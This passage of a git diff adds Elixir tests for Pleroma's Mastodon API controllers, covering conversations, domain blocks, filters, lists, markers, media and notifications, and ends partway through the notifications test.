Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do: oauth_access(["read:statuses"]) + + describe "returns a list of conversations" do + setup(%{user: user_one, conn: conn}) do + user_two = insert(:user) + user_three = insert(:user) + + {:ok, user_two} = User.follow(user_two, user_one) + + {:ok, %{user: user_one, user_two: user_two, user_three: user_three, conn: conn}} + end + + test "returns correct conversations", %{ + user: user_one, + user_two: user_two, + user_three: user_three, + conn: conn + } do + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + {:ok, direct} = create_direct_message(user_one, [user_two, user_three]) + + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 + + {:ok, _follower_only} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "private" + }) + + res_conn = get(conn, "/api/v1/conversations") + + assert response = json_response_and_validate_schema(res_conn, 200) + + assert [ + %{ + "id" => res_id, + "accounts" => res_accounts, + "last_status" => res_last_status, + "unread" => unread + } + ] = response + + account_ids = Enum.map(res_accounts, & &1["id"]) + assert length(res_accounts) == 2 + assert user_two.id in account_ids + assert user_three.id in account_ids + assert is_binary(res_id) + assert unread == false + assert res_last_status["id"] == direct.id + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 + end + + test "observes limit params", %{ + user: user_one, + user_two: user_two, + user_three: user_three, + conn: conn + } do + {:ok, _} = create_direct_message(user_one, [user_two, user_three]) + {:ok, _} = create_direct_message(user_two, [user_one, user_three]) + {:ok, _} = create_direct_message(user_three, [user_two, user_one]) + + res_conn = get(conn, "/api/v1/conversations?limit=1") + + assert response = json_response_and_validate_schema(res_conn, 200) + + assert Enum.count(response) == 1 + + res_conn = get(conn, "/api/v1/conversations?limit=2") + + assert response = json_response_and_validate_schema(res_conn, 200) + + assert Enum.count(response) == 2 + end + end + + test "filters conversations by recipients", %{user: user_one, conn: conn} do + user_two = insert(:user) + user_three = insert(:user) + {:ok, direct1} = create_direct_message(user_one, [user_two]) + {:ok, _direct2} = create_direct_message(user_one, [user_three]) + {:ok, direct3} = create_direct_message(user_one, [user_two, user_three]) + {:ok, _direct4} = create_direct_message(user_two, [user_three]) + {:ok, direct5} = create_direct_message(user_two, [user_one]) + + assert [conversation1, conversation2] = + conn + |> get("/api/v1/conversations?recipients[]=#{user_two.id}") + |> json_response_and_validate_schema(200) + + assert conversation1["last_status"]["id"] == direct5.id + assert conversation2["last_status"]["id"] == direct1.id + + [conversation1] = + conn + |> get("/api/v1/conversations?recipients[]=#{user_two.id}&recipients[]=#{user_three.id}") + |> json_response_and_validate_schema(200) + + assert conversation1["last_status"]["id"] == direct3.id + end + + test "updates the last_status on reply", %{user: user_one, conn: conn} do + user_two = insert(:user) + {:ok, direct} = create_direct_message(user_one, [user_two]) + + {:ok, direct_reply} = + CommonAPI.post(user_two, %{ + status: "reply", + visibility: "direct", + in_reply_to_status_id: direct.id + }) + + [%{"last_status" => res_last_status}] = + conn + |> get("/api/v1/conversations") + |> json_response_and_validate_schema(200) + + assert res_last_status["id"] == direct_reply.id + end + + test "the user marks a conversation as read", %{user: user_one, conn: conn} do + user_two = insert(:user) + {:ok, direct} = create_direct_message(user_one, [user_two]) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 1 + + user_two_conn = + build_conn() + |> assign(:user, user_two) + |> assign( + :token, + insert(:oauth_token, user: user_two, scopes: ["read:statuses", "write:conversations"]) + ) + + [%{"id" => direct_conversation_id, "unread" => true}] = + user_two_conn + |> get("/api/v1/conversations") + |> json_response_and_validate_schema(200) + + %{"unread" => false} = + user_two_conn + |> post("/api/v1/conversations/#{direct_conversation_id}/read") + |> json_response_and_validate_schema(200) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 0 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + + # The conversation is marked as unread on reply + {:ok, _} = + CommonAPI.post(user_two, %{ + status: "reply", + visibility: "direct", + in_reply_to_status_id: direct.id + }) + + [%{"unread" => true}] = + conn + |> get("/api/v1/conversations") + |> json_response_and_validate_schema(200) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + + # A reply doesn't increment the user's unread_conversation_count if the conversation is unread + {:ok, _} = + CommonAPI.post(user_two, %{ + status: "reply", + visibility: "direct", + in_reply_to_status_id: direct.id + }) + + assert User.get_cached_by_id(user_one.id).unread_conversation_count == 1 + assert User.get_cached_by_id(user_two.id).unread_conversation_count == 0 + end + + test "(vanilla) Mastodon frontend behaviour", %{user: user_one, conn: conn} do + user_two = insert(:user) + {:ok, direct} = create_direct_message(user_one, [user_two]) + + res_conn = get(conn, "/api/v1/statuses/#{direct.id}/context") + + assert %{"ancestors" => [], "descendants" => []} == json_response(res_conn, 200) + end + + defp create_direct_message(sender, recips) do + hellos = + recips + |> Enum.map(fn s -> "@#{s.nickname}" end) + |> Enum.join(", ") + + CommonAPI.post(sender, %{ + status: "Hi #{hellos}!", + visibility: "direct" + }) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs new file mode 100644 index 000000000..ab0027f90 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/custom_emoji_controller_test.exs @@ -0,0 +1,23 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.CustomEmojiControllerTest do + use Pleroma.Web.ConnCase, async: true + + test "with tags", %{conn: conn} do + assert resp = + conn + |> get("/api/v1/custom_emojis") + |> json_response_and_validate_schema(200) + + assert [emoji | _body] = resp + assert Map.has_key?(emoji, "shortcode") + assert Map.has_key?(emoji, "static_url") + assert Map.has_key?(emoji, "tags") + assert is_list(emoji["tags"]) + assert Map.has_key?(emoji, "category") + assert Map.has_key?(emoji, "url") + assert Map.has_key?(emoji, "visible_in_picker") + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs new file mode 100644 index 000000000..664654500 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/domain_block_controller_test.exs @@ -0,0 +1,79 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.DomainBlockControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + + import Pleroma.Factory + + test "blocking / unblocking a domain" do + %{user: user, conn: conn} = oauth_access(["write:blocks"]) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + assert User.blocks?(user, other_user) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"}) + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + refute User.blocks?(user, other_user) + end + + test "blocking a domain via query params" do + %{user: user, conn: conn} = oauth_access(["write:blocks"]) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/domain_blocks?domain=dogwhistle.zone") + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + assert User.blocks?(user, other_user) + end + + test "unblocking a domain via query params" do + %{user: user, conn: conn} = oauth_access(["write:blocks"]) + other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"}) + + User.block_domain(user, "dogwhistle.zone") + user = refresh_record(user) + assert User.blocks?(user, other_user) + + ret_conn = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/domain_blocks?domain=dogwhistle.zone") + + assert %{} == json_response_and_validate_schema(ret_conn, 200) + user = User.get_cached_by_ap_id(user.ap_id) + refute User.blocks?(user, other_user) + end + + test "getting a list of domain blocks" do + %{user: user, conn: conn} = oauth_access(["read:blocks"]) + + {:ok, user} = User.block_domain(user, "bad.site") + {:ok, user} = User.block_domain(user, "even.worse.site") + + assert ["even.worse.site", "bad.site"] == + conn + |> assign(:user, user) + |> get("/api/v1/domain_blocks") + |> json_response_and_validate_schema(200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs new file mode 100644 index 000000000..0d426ec34 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/filter_controller_test.exs @@ -0,0 +1,152 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FilterControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.MastodonAPI.FilterView + + test "creating a filter" do + %{conn: conn} = oauth_access(["write:filters"]) + + filter = %Pleroma.Filter{ + phrase: "knights", + context: ["home"] + } + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context}) + + assert response = json_response_and_validate_schema(conn, 200) + assert response["phrase"] == filter.phrase + assert response["context"] == filter.context + assert response["irreversible"] == false + assert response["id"] != nil + assert response["id"] != "" + end + + test "fetching a list of filters" do + %{user: user, conn: conn} = oauth_access(["read:filters"]) + + query_one = %Pleroma.Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + query_two = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "who", + context: ["home"] + } + + {:ok, filter_one} = Pleroma.Filter.create(query_one) + {:ok, filter_two} = Pleroma.Filter.create(query_two) + + response = + conn + |> get("/api/v1/filters") + |> json_response_and_validate_schema(200) + + assert response == + render_json( + FilterView, + "index.json", + filters: [filter_two, filter_one] + ) + end + + test "get a filter" do + %{user: user, conn: conn} = oauth_access(["read:filters"]) + + # check whole_word false + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"], + whole_word: false + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = get(conn, "/api/v1/filters/#{filter.filter_id}") + + assert response = json_response_and_validate_schema(conn, 200) + assert response["whole_word"] == false + + # check whole_word true + %{user: user, conn: conn} = oauth_access(["read:filters"]) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 3, + phrase: "knight", + context: ["home"], + whole_word: true + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = get(conn, "/api/v1/filters/#{filter.filter_id}") + + assert response = json_response_and_validate_schema(conn, 200) + assert response["whole_word"] == true + end + + test "update a filter" do + %{user: user, conn: conn} = oauth_access(["write:filters"]) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"], + hide: true, + whole_word: true + } + + {:ok, _filter} = Pleroma.Filter.create(query) + + new = %Pleroma.Filter{ + phrase: "nii", + context: ["home"] + } + + conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/filters/#{query.filter_id}", %{ + phrase: new.phrase, + context: new.context + }) + + assert response = json_response_and_validate_schema(conn, 200) + assert response["phrase"] == new.phrase + assert response["context"] == new.context + assert response["irreversible"] == true + assert response["whole_word"] == true + end + + test "delete a filter" do + %{user: user, conn: conn} = oauth_access(["write:filters"]) + + query = %Pleroma.Filter{ + user_id: user.id, + filter_id: 2, + phrase: "knight", + context: ["home"] + } + + {:ok, filter} = Pleroma.Filter.create(query) + + conn = delete(conn, "/api/v1/filters/#{filter.filter_id}") + + assert json_response_and_validate_schema(conn, 200) == %{} + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs new file mode 100644 index 000000000..6749e0e83 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/follow_request_controller_test.exs @@ -0,0 +1,74 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "locked accounts" do + setup do + user = insert(:user, locked: true) + %{conn: conn} = oauth_access(["follow"], user: user) + %{user: user, conn: conn} + end + + test "/api/v1/follow_requests works", %{user: user, conn: conn} do + other_user = insert(:user) + + {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) + {:ok, other_user} = User.follow(other_user, user, :follow_pending) + + assert User.following?(other_user, user) == false + + conn = get(conn, "/api/v1/follow_requests") + + assert [relationship] = json_response_and_validate_schema(conn, 200) + assert to_string(other_user.id) == relationship["id"] + end + + test "/api/v1/follow_requests/:id/authorize works", %{user: user, conn: conn} do + other_user = insert(:user) + + {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) + {:ok, other_user} = User.follow(other_user, user, :follow_pending) + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + + conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/authorize") + + assert relationship = json_response_and_validate_schema(conn, 200) + assert to_string(other_user.id) == relationship["id"] + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == true + end + + test "/api/v1/follow_requests/:id/reject works", %{user: user, conn: conn} do + other_user = insert(:user) + + {:ok, _, _, _activity} = CommonAPI.follow(other_user, user) + + user = User.get_cached_by_id(user.id) + + conn = post(conn, "/api/v1/follow_requests/#{other_user.id}/reject") + + assert relationship = json_response_and_validate_schema(conn, 200) + assert to_string(other_user.id) == relationship["id"] + + user = User.get_cached_by_id(user.id) + other_user = User.get_cached_by_id(other_user.id) + + assert User.following?(other_user, user) == false + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs new file mode 100644 index 000000000..6a9ccd979 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/instance_controller_test.exs @@ -0,0 +1,87 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.InstanceControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.User + import Pleroma.Factory + + test "get instance information", %{conn: conn} do + conn = get(conn, "/api/v1/instance") + assert result = json_response_and_validate_schema(conn, 200) + + email = Pleroma.Config.get([:instance, :email]) + # Note: not checking for "max_toot_chars" since it's optional + assert %{ + "uri" => _, + "title" => _, + "description" => _, + "version" => _, + "email" => from_config_email, + "urls" => %{ + "streaming_api" => _ + }, + "stats" => _, + "thumbnail" => _, + "languages" => _, + "registrations" => _, + "approval_required" => _, + "poll_limits" => _, + "upload_limit" => _, + "avatar_upload_limit" => _, + "background_upload_limit" => _, + "banner_upload_limit" => _, + "background_image" => _, + "chat_limit" => _, + "description_limit" => _ + } = result + + assert result["pleroma"]["metadata"]["account_activation_required"] != nil + assert result["pleroma"]["metadata"]["features"] + assert result["pleroma"]["metadata"]["federation"] + assert result["pleroma"]["metadata"]["fields_limits"] + assert result["pleroma"]["vapid_public_key"] + + assert email == from_config_email + end + + test "get instance stats", %{conn: conn} do + user = insert(:user, %{local: true}) + + user2 = insert(:user, %{local: true}) + {:ok, _user2} = User.deactivate(user2, !user2.deactivated) + + insert(:user, %{local: false, nickname: "u@peer1.com"}) + insert(:user, %{local: false, nickname: "u@peer2.com"}) + + {:ok, _} = Pleroma.Web.CommonAPI.post(user, %{status: "cofe"}) + + Pleroma.Stats.force_update() + + conn = get(conn, "/api/v1/instance") + + assert result = json_response_and_validate_schema(conn, 200) + + stats = result["stats"] + + assert stats + assert stats["user_count"] == 1 + assert stats["status_count"] == 1 + assert stats["domain_count"] == 2 + end + + test "get peers", %{conn: conn} do + insert(:user, %{local: false, nickname: "u@peer1.com"}) + insert(:user, %{local: false, nickname: "u@peer2.com"}) + + Pleroma.Stats.force_update() + + conn = get(conn, "/api/v1/instance/peers") + + assert result = json_response_and_validate_schema(conn, 200) + + assert ["peer1.com", "peer2.com"] == Enum.sort(result) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs new file mode 100644 index 000000000..091ec006c --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/list_controller_test.exs @@ -0,0 +1,176 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ListControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + + import Pleroma.Factory + + test "creating a list" do + %{conn: conn} = oauth_access(["write:lists"]) + + assert %{"title" => "cuties"} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => "cuties"}) + |> json_response_and_validate_schema(:ok) + end + + test "renders error for invalid params" do + %{conn: conn} = oauth_access(["write:lists"]) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => nil}) + + assert %{"error" => "title - null value where string expected."} = + json_response_and_validate_schema(conn, 400) + end + + test "listing a user's lists" do + %{conn: conn} = oauth_access(["read:lists", "write:lists"]) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => "cuties"}) + |> json_response_and_validate_schema(:ok) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists", %{"title" => "cofe"}) + |> json_response_and_validate_schema(:ok) + + conn = get(conn, "/api/v1/lists") + + assert [ + %{"id" => _, "title" => "cofe"}, + %{"id" => _, "title" => "cuties"} + ] = json_response_and_validate_schema(conn, :ok) + end + + test "adding users to a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [other_user.follower_address] + end + + test "removing users from a list, body params" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [third_user.follower_address] + end + + test "removing users from a list, query params" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + + assert %{} == + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/v1/lists/#{list.id}/accounts?account_ids[]=#{other_user.id}") + |> json_response_and_validate_schema(:ok) + + %Pleroma.List{following: following} = Pleroma.List.get(list.id, user) + assert following == [third_user.follower_address] + end + + test "listing users in a list" do + %{user: user, conn: conn} = oauth_access(["read:lists"]) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]}) + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, 200) + assert id == to_string(other_user.id) + end + + test "retrieving a list" do + %{user: user, conn: conn} = oauth_access(["read:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/lists/#{list.id}") + + assert %{"id" => id} = json_response_and_validate_schema(conn, 200) + assert id == to_string(list.id) + end + + test "renders 404 if list is not found" do + %{conn: conn} = oauth_access(["read:lists"]) + + conn = get(conn, "/api/v1/lists/666") + + assert %{"error" => "List not found"} = json_response_and_validate_schema(conn, :not_found) + end + + test "renaming a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + assert %{"title" => "newname"} = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/lists/#{list.id}", %{"title" => "newname"}) + |> json_response_and_validate_schema(:ok) + end + + test "validates title when renaming a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/json") + |> put("/api/v1/lists/#{list.id}", %{"title" => " "}) + + assert %{"error" => "can't be blank"} == + json_response_and_validate_schema(conn, :unprocessable_entity) + end + + test "deleting a list" do + %{user: user, conn: conn} = oauth_access(["write:lists"]) + {:ok, list} = Pleroma.List.create("name", user) + + conn = delete(conn, "/api/v1/lists/#{list.id}") + + assert %{} = json_response_and_validate_schema(conn, 200) + assert is_nil(Repo.get(Pleroma.List, list.id)) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs new file mode 100644 index 000000000..9f0481120 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/marker_controller_test.exs @@ -0,0 +1,131 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + describe "GET /api/v1/markers" do + test "gets markers with correct scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["read:statuses"]) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + + {:ok, %{"notifications" => marker}} = + Pleroma.Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "69420"}} + ) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> get("/api/v1/markers?timeline[]=notifications") + |> json_response_and_validate_schema(200) + + assert response == %{ + "notifications" => %{ + "last_read_id" => "69420", + "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), + "version" => 0, + "pleroma" => %{"unread_count" => 7} + } + } + end + + test "gets markers with missed scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: []) + + Pleroma.Marker.upsert(user, %{"notifications" => %{"last_read_id" => "69420"}}) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> get("/api/v1/markers", %{timeline: ["notifications"]}) + |> json_response_and_validate_schema(403) + + assert response == %{"error" => "Insufficient permissions: read:statuses."} + end + end + + describe "POST /api/v1/markers" do + test "creates a marker with correct scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/markers", %{ + home: %{last_read_id: "777"}, + notifications: %{"last_read_id" => "69420"} + }) + |> json_response_and_validate_schema(200) + + assert %{ + "notifications" => %{ + "last_read_id" => "69420", + "updated_at" => _, + "version" => 0, + "pleroma" => %{"unread_count" => 0} + } + } = response + end + + test "updates exist marker", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["write:statuses"]) + + {:ok, %{"notifications" => marker}} = + Pleroma.Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "69477"}} + ) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/markers", %{ + home: %{last_read_id: "777"}, + notifications: %{"last_read_id" => "69888"} + }) + |> json_response_and_validate_schema(200) + + assert response == %{ + "notifications" => %{ + "last_read_id" => "69888", + "updated_at" => NaiveDateTime.to_iso8601(marker.updated_at), + "version" => 0, + "pleroma" => %{"unread_count" => 0} + } + } + end + + test "creates a marker with missed scopes", %{conn: conn} do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: []) + + response = + conn + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/markers", %{ + home: %{last_read_id: "777"}, + notifications: %{"last_read_id" => "69420"} + }) + |> json_response_and_validate_schema(403) + + assert response == %{"error" => "Insufficient permissions: write:statuses."} + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs new file mode 100644 index 000000000..906fd940f --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/media_controller_test.exs @@ -0,0 +1,146 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.MediaControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + + describe "Upload media" do + setup do: oauth_access(["write:media"]) + + setup do + image = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + [image: image] + end + + setup do: clear_config([:media_proxy]) + setup do: clear_config([Pleroma.Upload]) + + test "/api/v1/media", %{conn: conn, image: image} do + desc = "Description of the image" + + media = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v1/media", %{"file" => image, "description" => desc}) + |> json_response_and_validate_schema(:ok) + + assert media["type"] == "image" + assert media["description"] == desc + assert media["id"] + + object = Object.get_by_id(media["id"]) + assert object.data["actor"] == User.ap_id(conn.assigns[:user]) + end + + test "/api/v2/media", %{conn: conn, user: user, image: image} do + desc = "Description of the image" + + response = + conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/v2/media", %{"file" => image, "description" => desc}) + |> json_response_and_validate_schema(202) + + assert media_id = response["id"] + + %{conn: conn} = oauth_access(["read:media"], user: user) + + media = + conn + |> get("/api/v1/media/#{media_id}") + |> json_response_and_validate_schema(200) + + assert media["type"] == "image" + assert media["description"] == desc + assert media["id"] + + object = Object.get_by_id(media["id"]) + assert object.data["actor"] == user.ap_id + end + end + + describe "Update media description" do + setup do: oauth_access(["write:media"]) + + setup %{user: actor} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %Object{} = object} = + ActivityPub.upload( + file, + actor: User.ap_id(actor), + description: "test-m" + ) + + [object: object] + end + + test "/api/v1/media/:id good request", %{conn: conn, object: object} do + media = + conn + |> put_req_header("content-type", "multipart/form-data") + |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"}) + |> json_response_and_validate_schema(:ok) + + assert media["description"] == "test-media" + assert refresh_record(object).data["name"] == "test-media" + end + end + + describe "Get media by id (/api/v1/media/:id)" do + setup do: oauth_access(["read:media"]) + + setup %{user: actor} do + file = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + {:ok, %Object{} = object} = + ActivityPub.upload( + file, + actor: User.ap_id(actor), + description: "test-media" + ) + + [object: object] + end + + test "it returns media object when requested by owner", %{conn: conn, object: object} do + media = + conn + |> get("/api/v1/media/#{object.id}") + |> json_response_and_validate_schema(:ok) + + assert media["description"] == "test-media" + assert media["type"] == "image" + assert media["id"] + end + + test "it returns 403 if media object requested by non-owner", %{object: object, user: user} do + %{conn: conn, user: other_user} = oauth_access(["read:media"]) + + assert object.data["actor"] == user.ap_id + refute user.id == other_user.id + + conn + |> get("/api/v1/media/#{object.id}") + |> json_response(403) + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..70ef0e8b5 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/notification_controller_test.exs @@ -0,0 +1,626 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "does NOT render account/pleroma/relationship by default" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, [_notification]} = Notification.create_notifications(activity) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(200) + + assert Enum.all?(response, fn n -> + get_in(n, ["account", "pleroma", "relationship"]) == %{} + end) + end + + test "list of notifications" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications") + + expected_response = + "hi @#{user.nickname}" + 